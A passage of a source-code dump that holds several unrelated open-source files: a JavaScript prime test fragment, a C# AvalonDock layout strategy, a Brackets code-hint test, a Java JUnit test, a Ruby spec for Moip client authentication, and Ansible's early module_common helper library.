if(primesFoundCounter === n)
return i; //i is the nth prime number
markCompositeNumbers(compositeNumberCheckArray, i, MAX_NUMBER); //mark all multiples of the current prime number as nonprime
}
return 0; //should not get here
};
expect(findNthPrime(1001)).toBe(7927);
});
});
|
mit
|
kenny-nelson/GomiBako
|
Libraries/Dodai.AvalonDock/Layout/LayoutUpdater.cs
|
6515
|
//-----------------------------------------------------------------------
// <copyright file="LayoutUpdater.cs" company="none">
// Copyright (c) kenny-nelson All Rights Reserved.
// </copyright>
//-----------------------------------------------------------------------
namespace Dodai.Layout
{
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using Dodai.Services;
using Xceed.Wpf.AvalonDock.Layout;
/// <summary>
/// レイアウト更新クラスです。
/// </summary>
public sealed class LayoutUpdater : ILayoutUpdateStrategy
{
private enum InsertPosition
{
Start,
End
}
/// <summary>
/// アンカー挿入前の処理です。
/// </summary>
/// <param name="layout">レイアウトです。</param>
/// <param name="anchorableToShow">アンカーの表示状態です。</param>
/// <param name="destinationContainer">送り先のコンテナです。</param>
/// <returns>挿入可能ならば、真を返します。</returns>
public bool BeforeInsertAnchorable(LayoutRoot layout, LayoutAnchorable anchorableToShow, ILayoutContainer destinationContainer)
{
var tool = anchorableToShow.Content as IToolable;
if (tool != null)
{
var location = tool.Location;
string paneName = GetPaneName(location);
var toolsPane = layout.Descendents().OfType<LayoutAnchorablePane>().FirstOrDefault(d => d.Name == paneName);
if (toolsPane == null)
{
switch (location)
{
case PanelLocation.Left:
toolsPane = CreateAnchorablePane(layout, Orientation.Horizontal, paneName, InsertPosition.Start);
break;
case PanelLocation.Right:
toolsPane = CreateAnchorablePane(layout, Orientation.Horizontal, paneName, InsertPosition.End);
break;
case PanelLocation.Bottom:
toolsPane = CreateAnchorablePane(layout, Orientation.Vertical, paneName, InsertPosition.End);
break;
default:
toolsPane = CreateAnchorablePane(layout, Orientation.Horizontal, paneName, InsertPosition.End);
break;
}
}
toolsPane.Children.Add(anchorableToShow);
return true;
}
return false;
}
/// <summary>
/// アンカー挿入後の処理です。
/// </summary>
/// <param name="layout">レイアウトです。</param>
/// <param name="anchorableShown">アンカーの表示状態です。</param>
public void AfterInsertAnchorable(LayoutRoot layout, LayoutAnchorable anchorableShown)
{
var tool = anchorableShown.Content as IToolable;
if (tool != null)
{
var anchorablePane = anchorableShown.Parent as LayoutAnchorablePane;
if (anchorablePane != null && anchorablePane.ChildrenCount == 1)
{
switch (tool.Location)
{
case PanelLocation.Left:
case PanelLocation.Right:
anchorablePane.DockWidth = new GridLength(tool.Width, GridUnitType.Pixel);
break;
case PanelLocation.Bottom:
anchorablePane.DockHeight = new GridLength(tool.Height, GridUnitType.Pixel);
break;
default:
anchorablePane.DockWidth = new GridLength(tool.Width, GridUnitType.Pixel);
break;
}
}
}
}
/// <summary>
/// ドキュメント挿入前の処理です。
/// </summary>
/// <param name="layout">レイアウトです。</param>
/// <param name="anchorableToShow">アンカーの表示状態です。</param>
/// <param name="destinationContainer">送り先のコンテナです。</param>
/// <returns>挿入可能ならば、真を返します。</returns>
public bool BeforeInsertDocument(LayoutRoot layout, LayoutDocument anchorableToShow, ILayoutContainer destinationContainer)
{
return false;
}
/// <summary>
/// ドキュメント挿入後の処理です。
/// </summary>
/// <param name="layout">レイアウトです。</param>
/// <param name="anchorableShown">アンカーの表示状態です。</param>
public void AfterInsertDocument(LayoutRoot layout, LayoutDocument anchorableShown)
{
}
private static string GetPaneName(PanelLocation location)
{
switch (location)
{
case PanelLocation.Left:
return "LeftPane";
case PanelLocation.Right:
return "RightPane";
case PanelLocation.Bottom:
return "BottomPane";
default:
return "RightPane";
}
}
private static LayoutAnchorablePane CreateAnchorablePane(
LayoutRoot layout,
Orientation orientation,
string paneName,
InsertPosition position)
{
var parent = layout.Descendents().OfType<LayoutPanel>().First();
foreach (var panel in layout.Descendents().OfType<LayoutPanel>())
{
if (panel.Orientation == orientation)
{
parent = panel;
break;
}
}
var toolsPane = new LayoutAnchorablePane { Name = paneName };
if (position == InsertPosition.Start)
{
parent.InsertChildAt(0, toolsPane);
}
else
{
parent.Children.Add(toolsPane);
}
return toolsPane;
}
}
}
|
mit
|
mugizico/brackets
|
test/spec/CodeHint-test.js
|
13764
|
/*
* Copyright (c) 2012 Adobe Systems Incorporated. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*
*/
/*jslint vars: true, plusplus: true, devel: true, browser: true, nomen: true, indent: 4, maxerr: 50 */
/*global define, describe, beforeEach, afterEach, it, runs, waits, waitsForDone, expect, $, beforeFirst, afterLast */
define(function (require, exports, module) {
"use strict";
// Load dependent modules
var HTMLUtils = require("language/HTMLUtils"),
SpecRunnerUtils = require("spec/SpecRunnerUtils"),
KeyEvent = require("utils/KeyEvent"),
Commands = require("command/Commands"),
EditorManager, // loaded from brackets.test
CommandManager,
CodeHintManager,
KeyBindingManager;
var testPath = SpecRunnerUtils.getTestPath("/spec/CodeHint-test-files"),
testWindow,
initCodeHintTest;
describe("CodeHintManager", function () {
this.category = "integration";
/**
* Performs setup for a code hint test. Opens a file and set pos.
*
* @param {!string} openFile Project relative file path to open in a main editor.
* @param {!number} openPos The pos within openFile to place the IP.
*/
function initCodeHintTest(openFile, openPos) {
SpecRunnerUtils.loadProjectInTestWindow(testPath);
runs(function () {
var promise = SpecRunnerUtils.openProjectFiles([openFile]);
waitsForDone(promise);
});
runs(function () {
var editor = EditorManager.getCurrentFullEditor();
editor.setCursorPos(openPos.line, openPos.ch);
});
}
beforeFirst(function () {
SpecRunnerUtils.createTestWindowAndRun(this, function (w) {
testWindow = w;
// uncomment this line to debug test window:
//testWindow.brackets.app.showDeveloperTools();
// Load module instances from brackets.test
EditorManager = testWindow.brackets.test.EditorManager;
CommandManager = testWindow.brackets.test.CommandManager;
KeyBindingManager = testWindow.brackets.test.KeyBindingManager;
CodeHintManager = testWindow.brackets.test.CodeHintManager;
});
});
afterLast(function () {
testWindow = null;
CodeHintManager = null;
EditorManager = null;
CommandManager = null;
KeyBindingManager = null;
SpecRunnerUtils.closeTestWindow();
});
afterEach(function () {
runs(function () {
testWindow.closeAllFiles();
});
});
function invokeCodeHints() {
CommandManager.execute(Commands.SHOW_CODE_HINTS);
}
// Note: these don't request hint results - they only examine hints that might already be open
function expectNoHints() {
var codeHintList = CodeHintManager._getCodeHintList();
expect(codeHintList).toBeFalsy();
}
function expectSomeHints() {
var codeHintList = CodeHintManager._getCodeHintList();
expect(codeHintList).toBeTruthy();
expect(codeHintList.isOpen()).toBe(true);
return codeHintList;
}
describe("Hint Provider Registration", function () {
beforeEach(function () {
initCodeHintTest("test1.html", {line: 0, ch: 0});
});
var mockProvider = {
hasHints: function (editor, implicitChar) {
return true;
},
getHints: function (implicitChar) {
return { hints: ["mock hint"], match: null, selectInitial: false };
},
insertHint: function (hint) { }
};
function expectMockHints() {
var codeHintList = expectSomeHints();
expect(codeHintList.hints[0]).toBe("mock hint");
expect(codeHintList.hints.length).toBe(1);
}
it("should register provider for a new language", function () {
runs(function () {
CodeHintManager.registerHintProvider(mockProvider, ["clojure"], 0);
// Ensure no hints in language we didn't register for
invokeCodeHints();
expectNoHints();
// Expect hints in language we did register for
var promise = CommandManager.execute(Commands.FILE_OPEN, { fullPath: SpecRunnerUtils.makeAbsolute("test.clj") });
waitsForDone(promise);
});
runs(function () {
invokeCodeHints();
expectMockHints();
CodeHintManager._removeHintProvider(mockProvider, ["clojure"], 0);
});
});
it("should register higher-priority provider for existing language", function () {
runs(function () {
CodeHintManager.registerHintProvider(mockProvider, ["html"], 1);
// Expect hints to replace default HTML hints
var editor = EditorManager.getCurrentFullEditor();
editor.setCursorPos(3, 1);
invokeCodeHints();
expectMockHints();
CodeHintManager._removeHintProvider(mockProvider, ["html"], 1);
});
});
it("should register \"all\" languages provider", function () {
runs(function () {
CodeHintManager.registerHintProvider(mockProvider, ["all"], 0);
// Expect hints in language that already had hints (when not colliding with original provider)
invokeCodeHints();
expectMockHints();
// Expect hints in language that had no hints before
var promise = CommandManager.execute(Commands.FILE_OPEN, { fullPath: SpecRunnerUtils.makeAbsolute("test.clj") });
waitsForDone(promise);
});
runs(function () {
invokeCodeHints();
expectMockHints();
CodeHintManager._removeHintProvider(mockProvider, ["all"], 0);
});
});
});
describe("HTML Tests", function () {
it("should show code hints menu and insert text at IP", function () {
var editor,
pos = {line: 3, ch: 1},
lineBefore,
lineAfter;
// minimal markup with an open '<' before IP
// Note: line for pos is 0-based and editor lines numbers are 1-based
initCodeHintTest("test1.html", pos);
runs(function () {
editor = EditorManager.getCurrentFullEditor();
expect(editor).toBeTruthy();
// get text before insert operation
lineBefore = editor.document.getLine(pos.line);
invokeCodeHints();
expectSomeHints();
});
// simulate Enter key to insert code hint into doc
runs(function () {
var e = $.Event("keydown");
e.keyCode = KeyEvent.DOM_VK_RETURN;
editor = EditorManager.getCurrentFullEditor();
expect(editor).toBeTruthy();
CodeHintManager._getCodeHintList()._keydownHook(e);
// doesn't matter what was inserted, but line should be different
var newPos = editor.getCursorPos();
lineAfter = editor.document.getLine(pos.line);
expect(lineBefore).not.toEqual(lineAfter);
// and popup should auto-close
expectNoHints();
editor = null;
});
});
it("should dismiss code hints menu with Esc key", function () {
var pos = {line: 3, ch: 1};
// minimal markup with an open '<' before IP
// Note: line for pos is 0-based and editor lines numbers are 1-based
initCodeHintTest("test1.html", pos);
runs(function () {
invokeCodeHints();
// verify list is open
expectSomeHints();
});
// simulate Esc key to dismiss code hints menu
runs(function () {
var key = KeyEvent.DOM_VK_ESCAPE,
element = testWindow.$(".dropdown.open")[0];
SpecRunnerUtils.simulateKeyEvent(key, "keydown", element);
// verify list is no longer open
expectNoHints();
});
});
it("should dismiss code hints menu when launching a command", function () {
var editor,
pos = {line: 3, ch: 1};
// minimal markup with an open '<' before IP
// Note: line for pos is 0-based and editor lines numbers are 1-based
initCodeHintTest("test1.html", pos);
runs(function () {
editor = EditorManager.getCurrentFullEditor();
expect(editor).toBeTruthy();
editor.document.replaceRange("di", pos);
invokeCodeHints();
// verify list is open
expectSomeHints();
});
// Call Undo command to remove "di" and then verify no code hints
runs(function () {
CommandManager.execute(Commands.EDIT_UNDO);
// verify list is no longer open
expectNoHints();
editor = null;
});
});
it("should stop handling keydowns if closed by a click outside", function () {
var editor,
pos = {line: 3, ch: 1};
// minimal markup with an open '<' before IP
// Note: line for pos is 0-based and editor lines numbers are 1-based
initCodeHintTest("test1.html", pos);
runs(function () {
editor = EditorManager.getCurrentFullEditor();
expect(editor).toBeTruthy();
editor.document.replaceRange("di", pos);
invokeCodeHints();
// verify list is open
expectSomeHints();
// get the document text and make sure it doesn't change if we
// click outside and then keydown
var text = editor.document.getText();
testWindow.$("body").click();
KeyBindingManager._handleKeyEvent({
keyCode: KeyEvent.DOM_VK_ENTER,
stopImmediatePropagation: function () { },
stopPropagation: function () { },
preventDefault: function () { }
});
// Verify that after the keydown, the session is closed
// (not just the hint popup). Because of #1381, we don't
// actually have a way to close the session as soon as the
// popup is dismissed by Bootstrap, so we do so on the next
// keydown. Eventually, once that's fixed, we should be able
// to move this expectNoHints() up after the click.
expectNoHints();
expect(editor.document.getText()).toEqual(text);
editor = null;
});
});
});
});
});
|
mit
|
visGeek/JavaVisGeekCollections
|
src/src/test/java/com/github/visgeek/utils/collections/test/testcase/ienumerable/ienumerable/Empty.java
|
340
|
package com.github.visgeek.utils.collections.test.testcase.ienumerable.ienumerable;
import org.junit.Assert;
import org.junit.Test;
import com.github.visgeek.utils.collections.Enumerable;
public class Empty {
@Test
public void test_empty01() {
Assert.assertTrue(Enumerable.empty(Integer.class).toList().isEmpty());
}
}
|
mit
|
moip/moip-sdk-ruby
|
spec/moip2/client_spec.rb
|
1781
|
describe Moip2::Client do
let(:auth) do
Moip2::Auth::Basic.new("TOKEN", "SECRET")
end
let(:oauth) do
Moip2::Auth::OAuth.new "9fdc242631454d4c95d82e27b4127394_v2"
end
describe "initialize env with string" do
let(:client) do
described_class.new "sandbox", auth
end
it { expect(client.env).to eq :sandbox }
end
describe "initialize on sandbox with OAuth" do
let(:client) do
described_class.new :sandbox, oauth
end
it { expect(client.uri).to eq "https://sandbox.moip.com.br" }
it { expect(client.env).to eq :sandbox }
it do
expect(client.opts[:headers]["Authorization"]).
to eq "OAuth 9fdc242631454d4c95d82e27b4127394_v2"
end
end
describe "initialize on production with OAuth" do
let(:client) do
described_class.new :production, oauth
end
it { expect(client.uri).to eq "https://api.moip.com.br" }
it { expect(client.env).to eq :production }
it do
expect(client.opts[:headers]["Authorization"]).
to eq "OAuth 9fdc242631454d4c95d82e27b4127394_v2"
end
end
describe "initialize on sandbox with Basic authentication" do
let(:client) do
described_class.new :sandbox, auth
end
it { expect(client.uri).to eq "https://sandbox.moip.com.br" }
it { expect(client.env).to eq :sandbox }
it { expect(client.opts[:headers]["Authorization"]).to eq "Basic VE9LRU46U0VDUkVU" }
end
describe "initialize on production with Basic authentication" do
let(:client) do
described_class.new :production, auth
end
it { expect(client.uri).to eq "https://api.moip.com.br" }
it { expect(client.env).to eq :production }
it { expect(client.opts[:headers]["Authorization"]).to eq "Basic VE9LRU46U0VDUkVU" }
end
end
|
mit
|
cirruscluster/cirruscluster
|
cirruscluster/ext/ansible/module_common.py
|
26125
|
# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
REPLACER = "#<<INCLUDE_ANSIBLE_MODULE_COMMON>>"
REPLACER_ARGS = "<<INCLUDE_ANSIBLE_MODULE_ARGS>>"
REPLACER_LANG = "<<INCLUDE_ANSIBLE_MODULE_LANG>>"
MODULE_COMMON = """
# == BEGIN DYNAMICALLY INSERTED CODE ==
MODULE_ARGS = <<INCLUDE_ANSIBLE_MODULE_ARGS>>
MODULE_LANG = <<INCLUDE_ANSIBLE_MODULE_LANG>>
BOOLEANS_TRUE = ['yes', 'on', '1', 'true', 1]
BOOLEANS_FALSE = ['no', 'off', '0', 'false', 0]
BOOLEANS = BOOLEANS_TRUE + BOOLEANS_FALSE
# ansible modules can be written in any language. To simplify
# development of Python modules, the functions available here
# can be inserted in any module source automatically by including
# #<<INCLUDE_ANSIBLE_MODULE_COMMON>> on a blank line by itself inside
# of an ansible module. The source of this common code lives
# in lib/ansible/module_common.py
try:
import json
except ImportError:
import simplejson as json
import base64
import os
import re
import shlex
import subprocess
import sys
import syslog
import types
import time
import shutil
import stat
import stat
import grp
import pwd
import platform
import errno
HAVE_SELINUX=False
try:
import selinux
HAVE_SELINUX=True
except ImportError:
pass
try:
from hashlib import md5 as _md5
except ImportError:
from md5 import md5 as _md5
try:
from systemd import journal
has_journal = True
except ImportError:
import syslog
has_journal = False
FILE_COMMON_ARGUMENTS=dict(
src = dict(),
mode = dict(),
owner = dict(),
group = dict(),
seuser = dict(),
serole = dict(),
selevel = dict(),
setype = dict(),
)
def get_platform():
''' what's the platform? example: Linux is a platform. '''
return platform.system()
def get_distribution():
''' return the distribution name '''
if platform.system() == 'Linux':
try:
distribution = platform.linux_distribution()[0].capitalize()
except:
# FIXME: MethodMissing, I assume?
distribution = platform.dist()[0].capitalize()
else:
distribution = None
return distribution
def load_platform_subclass(cls, *args, **kwargs):
'''
used by modules like User to have different implementations based on detected platform. See User
module for an example.
'''
this_platform = get_platform()
distribution = get_distribution()
subclass = None
# get the most specific superclass for this platform
if distribution is not None:
for sc in cls.__subclasses__():
if sc.distribution is not None and sc.distribution == distribution and sc.platform == this_platform:
subclass = sc
if subclass is None:
for sc in cls.__subclasses__():
if sc.platform == this_platform and sc.distribution is None:
subclass = sc
if subclass is None:
subclass = cls
return super(cls, subclass).__new__(subclass)
class AnsibleModule(object):
def __init__(self, argument_spec, bypass_checks=False, no_log=False,
check_invalid_arguments=True, mutually_exclusive=None, required_together=None,
required_one_of=None, add_file_common_args=False):
'''
common code for quickly building an ansible module in Python
(although you can write modules in anything that can return JSON)
see library/* for examples
'''
self.argument_spec = argument_spec
if add_file_common_args:
self.argument_spec.update(FILE_COMMON_ARGUMENTS)
os.environ['LANG'] = MODULE_LANG
(self.params, self.args) = self._load_params()
self._legal_inputs = []
self._handle_aliases()
if check_invalid_arguments:
self._check_invalid_arguments()
self._set_defaults(pre=True)
if not bypass_checks:
self._check_required_arguments()
self._check_argument_types()
self._check_mutually_exclusive(mutually_exclusive)
self._check_required_together(required_together)
self._check_required_one_of(required_one_of)
self._set_defaults(pre=False)
if not no_log:
self._log_invocation()
def load_file_common_arguments(self, params):
'''
many modules deal with files, this encapsulates common
options that the file module accepts such that it is directly
available to all modules and they can share code.
'''
path = params.get('path', params.get('dest', None))
if path is None:
return {}
mode = params.get('mode', None)
owner = params.get('owner', None)
group = params.get('group', None)
# selinux related options
seuser = params.get('seuser', None)
serole = params.get('serole', None)
setype = params.get('setype', None)
selevel = params.get('serange', 's0')
secontext = [seuser, serole, setype]
if self.selinux_mls_enabled():
secontext.append(selevel)
default_secontext = self.selinux_default_context(path)
for i in range(len(default_secontext)):
if i is not None and secontext[i] == '_default':
secontext[i] = default_secontext[i]
return dict(
path=path, mode=mode, owner=owner, group=group,
seuser=seuser, serole=serole, setype=setype,
selevel=selevel, secontext=secontext,
)
# Detect whether using selinux that is MLS-aware.
# While this means you can set the level/range with
# selinux.lsetfilecon(), it may or may not mean that you
# will get the selevel as part of the context returned
# by selinux.lgetfilecon().
def selinux_mls_enabled(self):
if not HAVE_SELINUX:
return False
if selinux.is_selinux_mls_enabled() == 1:
return True
else:
return False
def selinux_enabled(self):
if not HAVE_SELINUX:
return False
if selinux.is_selinux_enabled() == 1:
return True
else:
return False
# Determine whether we need a placeholder for selevel/mls
def selinux_initial_context(self):
context = [None, None, None]
if self.selinux_mls_enabled():
context.append(None)
return context
# If selinux fails to find a default, return an array of None
def selinux_default_context(self, path, mode=0):
context = self.selinux_initial_context()
if not HAVE_SELINUX or not self.selinux_enabled():
return context
try:
ret = selinux.matchpathcon(path, mode)
except OSError:
return context
if ret[0] == -1:
return context
context = ret[1].split(':')
return context
def selinux_context(self, path):
context = self.selinux_initial_context()
if not HAVE_SELINUX or not self.selinux_enabled():
return context
try:
ret = selinux.lgetfilecon(path)
except OSError, e:
if e.errno == errno.ENOENT:
self.fail_json(path=path, msg='path %s does not exist' % path)
else:
self.fail_json(path=path, msg='failed to retrieve selinux context')
if ret[0] == -1:
return context
context = ret[1].split(':')
return context
def user_and_group(self, filename):
filename = os.path.expanduser(filename)
st = os.stat(filename)
uid = st.st_uid
gid = st.st_gid
try:
user = pwd.getpwuid(uid)[0]
except KeyError:
user = str(uid)
try:
group = grp.getgrgid(gid)[0]
except KeyError:
group = str(gid)
return (user, group)
def set_default_selinux_context(self, path, changed):
if not HAVE_SELINUX or not self.selinux_enabled():
return changed
context = self.selinux_default_context(path)
return self.set_context_if_different(path, context, False)
def set_context_if_different(self, path, context, changed):
if not HAVE_SELINUX or not self.selinux_enabled():
return changed
cur_context = self.selinux_context(path)
new_context = list(cur_context)
# Iterate over the current context instead of the
# argument context, which may have selevel.
for i in range(len(cur_context)):
if context[i] is not None and context[i] != cur_context[i]:
new_context[i] = context[i]
if context[i] is None:
new_context[i] = cur_context[i]
if cur_context != new_context:
try:
rc = selinux.lsetfilecon(path, ':'.join(new_context))
except OSError:
self.fail_json(path=path, msg='invalid selinux context', new_context=new_context, cur_context=cur_context, input_was=context)
if rc != 0:
self.fail_json(path=path, msg='set selinux context failed')
changed = True
return changed
def set_owner_if_different(self, path, owner, changed):
path = os.path.expanduser(path)
if owner is None:
return changed
user, group = self.user_and_group(path)
if owner != user:
try:
uid = pwd.getpwnam(owner).pw_uid
except KeyError:
self.fail_json(path=path, msg='chown failed: failed to look up user %s' % owner)
try:
os.chown(path, uid, -1)
except OSError:
self.fail_json(path=path, msg='chown failed')
changed = True
return changed
def set_group_if_different(self, path, group, changed):
path = os.path.expanduser(path)
if group is None:
return changed
old_user, old_group = self.user_and_group(path)
if old_group != group:
try:
gid = grp.getgrnam(group).gr_gid
except KeyError:
self.fail_json(path=path, msg='chgrp failed: failed to look up group %s' % group)
try:
os.chown(path, -1, gid)
except OSError:
self.fail_json(path=path, msg='chgrp failed')
changed = True
return changed
def set_mode_if_different(self, path, mode, changed):
path = os.path.expanduser(path)
if mode is None:
return changed
try:
# FIXME: support English modes
mode = int(mode, 8)
except Exception, e:
self.fail_json(path=path, msg='mode needs to be something octalish', details=str(e))
st = os.stat(path)
prev_mode = stat.S_IMODE(st[stat.ST_MODE])
if prev_mode != mode:
# FIXME: comparison against string above will cause this to be executed
# every time
try:
os.chmod(path, mode)
except Exception, e:
self.fail_json(path=path, msg='chmod failed', details=str(e))
st = os.stat(path)
new_mode = stat.S_IMODE(st[stat.ST_MODE])
if new_mode != prev_mode:
changed = True
return changed
def set_file_attributes_if_different(self, file_args, changed):
# set modes owners and context as needed
changed = self.set_context_if_different(
file_args['path'], file_args['secontext'], changed
)
changed = self.set_owner_if_different(
file_args['path'], file_args['owner'], changed
)
changed = self.set_group_if_different(
file_args['path'], file_args['group'], changed
)
changed = self.set_mode_if_different(
file_args['path'], file_args['mode'], changed
)
return changed
def set_directory_attributes_if_different(self, file_args, changed):
changed = self.set_context_if_different(
file_args['path'], file_args['secontext'], changed
)
changed = self.set_owner_if_different(
file_args['path'], file_args['owner'], changed
)
changed = self.set_group_if_different(
file_args['path'], file_args['group'], changed
)
changed = self.set_mode_if_different(
file_args['path'], file_args['mode'], changed
)
return changed
def add_path_info(self, kwargs):
'''
for results that are files, supplement the info about the file
in the return path with stats about the file path.
'''
path = kwargs.get('path', kwargs.get('dest', None))
if path is None:
return kwargs
if os.path.exists(path):
(user, group) = self.user_and_group(path)
kwargs['owner'] = user
kwargs['group'] = group
st = os.stat(path)
kwargs['mode'] = oct(stat.S_IMODE(st[stat.ST_MODE]))
# secontext not yet supported
if os.path.islink(path):
kwargs['state'] = 'link'
elif os.path.isdir(path):
kwargs['state'] = 'directory'
else:
kwargs['state'] = 'file'
if HAVE_SELINUX and self.selinux_enabled():
kwargs['secontext'] = ':'.join(self.selinux_context(path))
else:
kwargs['state'] = 'absent'
return kwargs
def _handle_aliases(self):
for (k,v) in self.argument_spec.iteritems():
self._legal_inputs.append(k)
aliases = v.get('aliases', None)
default = v.get('default', None)
required = v.get('required', False)
if default is not None and required:
# not alias specific but this is a good place to check this
self.fail_json(msg="internal error: required and default are mutally exclusive for %s" % k)
if aliases is None:
continue
if type(aliases) != list:
self.fail_json(msg='internal error: aliases must be a list')
for alias in aliases:
self._legal_inputs.append(alias)
if alias in self.params:
self.params[k] = self.params[alias]
def _check_invalid_arguments(self):
for (k,v) in self.params.iteritems():
if k not in self._legal_inputs:
self.fail_json(msg="unsupported parameter for module: %s" % k)
def _count_terms(self, check):
count = 0
for term in check:
if term in self.params:
count += 1
return count
def _check_mutually_exclusive(self, spec):
if spec is None:
return
for check in spec:
count = self._count_terms(check)
if count > 1:
self.fail_json(msg="parameters are mutually exclusive: %s" % check)
def _check_required_one_of(self, spec):
if spec is None:
return
for check in spec:
count = self._count_terms(check)
if count == 0:
self.fail_json(msg="one of the following is required: %s" % check)
def _check_required_together(self, spec):
if spec is None:
return
for check in spec:
counts = [ self._count_terms([field]) for field in check ]
non_zero = [ c for c in counts if c > 0 ]
if len(non_zero) > 0:
if 0 in counts:
self.fail_json(msg="parameters are required together: %s" % check)
def _check_required_arguments(self):
''' ensure all required arguments are present '''
missing = []
for (k,v) in self.argument_spec.iteritems():
required = v.get('required', False)
if required and k not in self.params:
missing.append(k)
if len(missing) > 0:
self.fail_json(msg="missing required arguments: %s" % ",".join(missing))
def _check_argument_types(self):
''' ensure all arguments have the requested values, and there are no stray arguments '''
for (k,v) in self.argument_spec.iteritems():
choices = v.get('choices',None)
if choices is None:
continue
if type(choices) == list:
if k in self.params:
if self.params[k] not in choices:
choices_str=",".join([str(c) for c in choices])
msg="value of %s must be one of: %s, got: %s" % (k, choices_str, self.params[k])
self.fail_json(msg=msg)
else:
self.fail_json(msg="internal error: do not know how to interpret argument_spec")
def _set_defaults(self, pre=True):
for (k,v) in self.argument_spec.iteritems():
default = v.get('default', None)
if pre == True:
# this prevents setting defaults on required items
if default is not None and k not in self.params:
self.params[k] = default
else:
# make sure things without a default still get set None
if k not in self.params:
self.params[k] = default
def _load_params(self):
''' read the input and return a dictionary and the arguments string '''
args = MODULE_ARGS
items = shlex.split(args)
params = {}
for x in items:
try:
(k, v) = x.split("=",1)
except:
self.fail_json(msg="this module requires key=value arguments")
params[k] = v
return (params, args)
def _log_invocation(self):
''' log that ansible ran the module '''
# TODO: generalize a seperate log function and make log_invocation use it
# Sanitize possible password argument when logging.
log_args = dict()
passwd_keys = ['password', 'login_password']
for param in self.params:
if param in passwd_keys:
log_args[param] = 'NOT_LOGGING_PASSWORD'
else:
log_args[param] = self.params[param]
if (has_journal):
journal_args = ["MESSAGE=Ansible module invoked", "MODULE=%s" % os.path.basename(__file__)]
for arg in log_args:
journal_args.append(arg.upper() + "=" + str(log_args[arg]))
journal.sendv(*journal_args)
else:
msg = ''
syslog.openlog('ansible-%s' % str(os.path.basename(__file__)), 0, syslog.LOG_USER)
for arg in log_args:
msg = msg + arg + '=' + str(log_args[arg]) + ' '
if msg:
syslog.syslog(syslog.LOG_NOTICE, 'Invoked with %s' % msg)
else:
syslog.syslog(syslog.LOG_NOTICE, 'Invoked')
def get_bin_path(self, arg, required=False, opt_dirs=[]):
'''
find system executable in PATH.
Optional arguments:
- required: if executable is not found and required is true, fail_json
- opt_dirs: optional list of directories to search in addition to PATH
if found return full path; otherwise return None
'''
sbin_paths = ['/sbin', '/usr/sbin', '/usr/local/sbin']
paths = []
for d in opt_dirs:
if d is not None and os.path.exists(d):
paths.append(d)
paths += os.environ.get('PATH', '').split(':')
bin_path = None
# mangle PATH to include /sbin dirs
for p in sbin_paths:
if p not in paths and os.path.exists(p):
paths.append(p)
for d in paths:
path = os.path.join(d, arg)
if os.path.exists(path) and self.is_executable(path):
bin_path = path
break
if required and bin_path is None:
self.fail_json(msg='Failed to find required executable %s' % arg)
return bin_path
def boolean(self, arg):
''' return a bool for the arg '''
if arg is None or type(arg) == bool:
return arg
if type(arg) in types.StringTypes:
arg = arg.lower()
if arg in BOOLEANS_TRUE:
return True
elif arg in BOOLEANS_FALSE:
return False
else:
self.fail_json(msg='Boolean %s not in either boolean list' % arg)
def jsonify(self, data):
return json.dumps(data)
def exit_json(self, **kwargs):
''' return from the module, without error '''
self.add_path_info(kwargs)
if not kwargs.has_key('changed'):
kwargs['changed'] = False
print self.jsonify(kwargs)
sys.exit(0)
def fail_json(self, **kwargs):
''' return from the module, with an error message '''
self.add_path_info(kwargs)
assert 'msg' in kwargs, "implementation error -- msg to explain the error is required"
kwargs['failed'] = True
print self.jsonify(kwargs)
sys.exit(1)
def is_executable(self, path):
'''is the given path executable?'''
return (stat.S_IXUSR & os.stat(path)[stat.ST_MODE]
or stat.S_IXGRP & os.stat(path)[stat.ST_MODE]
or stat.S_IXOTH & os.stat(path)[stat.ST_MODE])
def md5(self, filename):
''' Return MD5 hex digest of local file, or None if file is not present. '''
if not os.path.exists(filename):
return None
if os.path.isdir(filename):
self.fail_json(msg="attempted to take md5sum of directory: %s" % filename)
digest = _md5()
blocksize = 64 * 1024
infile = open(filename, 'rb')
block = infile.read(blocksize)
while block:
digest.update(block)
block = infile.read(blocksize)
infile.close()
return digest.hexdigest()
def backup_local(self, fn):
'''make a date-marked backup of the specified file, return True or False on success or failure'''
# backups named basename-YYYY-MM-DD@HH:MM~
ext = time.strftime("%Y-%m-%d@%H:%M~", time.localtime(time.time()))
backupdest = '%s.%s' % (fn, ext)
try:
shutil.copy2(fn, backupdest)
except shutil.Error, e:
self.fail_json(msg='Could not make backup of %s to %s: %s' % (fn, backupdest, e))
return backupdest
def atomic_replace(self, src, dest):
'''atomically replace dest with src, copying attributes from dest'''
if os.path.exists(dest):
st = os.stat(dest)
os.chmod(src, st.st_mode & 07777)
try:
os.chown(src, st.st_uid, st.st_gid)
except OSError, e:
if e.errno != errno.EPERM:
raise
if self.selinux_enabled():
context = self.selinux_context(dest)
self.set_context_if_different(src, context, False)
else:
if self.selinux_enabled():
context = self.selinux_default_context(dest)
self.set_context_if_different(src, context, False)
os.rename(src, dest)
